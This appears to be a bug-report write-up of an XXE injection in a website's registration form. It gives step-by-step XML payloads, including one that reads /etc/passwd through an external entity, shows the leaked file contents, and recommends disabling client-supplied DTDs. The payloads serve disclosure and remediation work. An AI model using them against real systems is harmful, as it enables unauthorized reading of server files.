

XML eXternal Entity injection

Details: XXE injection and display of sensitive data in form register.

Severity: High

Steps to reproduce:

1. Go to the Register page and try to create a new account. But I try to try all emails and it says already exists.

Create an Account

Name: abcd

Phone Number: 123456789

Email: abcd@gmail.com

Password: ...

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Create Account

Sorry, abcd@gmail.com is already registered!

Create an Account

Name: abcd

Phone Number: 123456789

Email: hacker123@gmail.com

Password: ...

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Create Account

Sorry, hacker123@gmail.com is already registered!

2. Then I used the tool and found there was an XML site to display the information I just entered.

```
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <name>
    abcd
  </name>
  <tel>
    123456789
  </tel>
  <email>
    hacker123@gmail.com
  </email>
  <password>
    123
  </password>
</root>
```

3. Next, I try to include a random entity and call it in the email. Unexpectedly, the XML implemented my entity.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE [<!ENTITY abc "i am hacker">]>
<root>
  <name>
    abcd
  </name>
  <tel>
    123456789
  </tel>
  <email>
    &abc;
  </email>
  <password>
    123
  </password>
</root>
```

Create an Account

Name
abcd

Phone Number
123456789

Email
hacker123@gmail.com

Password
123

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Create Account

Sorry, i am hacker is already registered!

4. Right after that I injected a malicious payload to steal information in etc/passwd.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY abc SYSTEM "file:///etc/passwd" ]>
<root>
  <name>
    abcd
  </name>
  <tel>
    123456789
  </tel>
  <email>
    &abc;
  </email>
  <password>
    123
  </password>
</root>
```

Create an Account

Name
abcd

Phone Number
123456789

Email
hacker123@gmail.com

Password
123

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Create Account

Sorry, root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/bugs:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuid:x:100:101:./var/lib/libuid: svslod:x:101:104:./home/svslod/bin/false is already registered!

Impact:

An attacker can take advantage of this to view files on the application server's system. And it can also be used to interact with back-end server systems. More seriously, an attacker can take advantage of this vulnerability to create many other vulnerabilities.

Measure:

Since the entire XML document is communicated from an untrusted client, it is not usually possible to selectively validate or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.